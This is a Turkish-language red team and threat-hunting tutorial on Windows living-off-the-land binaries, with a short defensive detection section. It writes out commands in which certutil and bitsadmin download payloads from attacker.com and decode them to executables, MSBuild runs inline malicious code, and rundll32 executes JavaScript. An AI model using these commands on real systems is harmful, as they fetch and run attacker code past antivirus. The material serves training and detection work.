YASAL UYARI:Bu doküman, Red Team simülasyonları ve Threat Hunting (Tehdit Avcılığı) çalışmaları için eğitim amaçlı hazırlanmıştır. Sistem yöneticilerinin araçlarını kötüye kullanmak (Abuse), izinsiz sistemlerde suç teşkil eder.

1. Felsefe: Neden Malware İndiresin Ki?

2. Cephanelik: En Popüler ve Tehlikeli LOLBins

A. Certutil.exe (Sertifika Otoritesi Aracı)

• Saldırı Senaryosu: Antivirüsler internetten .exe indirmeyi engeller. Ama Base64 ile şifrelenmiş bir metin dosyasını indirmenize karışmazlar.
  
• Teknik:
  
  
  1. Payload'ı Base64'e çevir ve metin dosyası yap (payload.txt).
     
  2. certutil ile bu metin dosyasını indir.
     
  3. Yine certutil ile bu dosyayı .exe'ye çevir (Decode).

12345:: 1. Dosyayı indir (Browser veya wget gibi davranır)
certutil.exe -urlcache -split -f http://attacker.com/payload.txt C:\Temp\payload.txt

:: 2. Base64'ten asıl zararlıya dönüştür
certutil.exe -decode C:\Temp\payload.txt C:\Temp\malware.exe

B. MSBuild.exe (Microsoft Build Engine)

• Mantık: MSBuild, .NET projelerini derlemek için vardır. Ancak .xml veya .csproj dosyaları içine gömülmüş C# kodlarını (Inline Tasks) derleyip RAM üzerinde çalıştırabilir.
  
• Vuruş: Sisteme zararlı bir .exe sokmazsınız. Sadece masum görünen bir XML dosyası sokarsınız. msbuild.exe (ki kendisi güvenilir bir Windows bileşenidir) bu XML'i okur ve içindeki zararlı kodu çalıştırır.

12:: XML içindeki C# kodunu derle ve bellekte çalıştır
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Temp\malicious.xml

C. Bitsadmin.exe (Arka Plan Transfer Hizmeti)

• Özellik: İndirme işlemi arka planda, bant genişliği boşken yapılır. Güvenlik duvarları genellikle BITS trafiğine (Windows Update sanarak) izin verir.

12:: Arka planda sinsi indirme
bitsadmin /transfer myJob /download /priority normal http://attacker.com/tool.exe C:\Temp\tool.exe

D. Pcalua.exe (Program Compatibility Assistant)

3. LOLScripts ve LOLLibs: Sadece .EXE Değil

• LOLScripts: CL_Mutexverifiers.ps1 veya Manage-bde.wsf gibi sistemin içinde gelen ve imzalı olan scriptlerdir. Bu scriptlerin içindeki fonksiyonlar manipüle edilebilir.
  
• LOLLibs: rundll32.exe kullanılarak çağrılabilen DLL dosyalarıdır.

1rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('Hacked');

4. Blue Team (Savunma) Perspektifi: Ayıkla Pirincin Taşını

1. Argüman Analizi: certutil çalışabilir ama -urlcache veya -decode parametreleri ile çalışıyorsa alarm üretilmelidir.
   
2. Parent-Child İlişkisi: winword.exe (Word) programının cmd.exe'yi, onun da certutil.exe'yi çağırması normal bir davranış değildir. Bu zincirleme reaksiyon (Process Tree) izlenmelidir.
   
3. Ağ Trafiği: bitsadmin veya certutil'in şirket dışındaki bilinmeyen bir IP adresine bağlanması şüphelidir.

5. Referans ve Kaynaklar (The Bible of LOLBins)

• LOLBAS Project (GitHub): Her bir Windows dosyasının nasıl saldırı amacıyla kullanılabileceğini belgeleyen devasa bir arşiv.
  
• GTFOBins: Bunun Linux/Unix versiyonu (Bash, Vim, Awk vb. kullanarak yetki yükseltme).

💡 VIP Notu: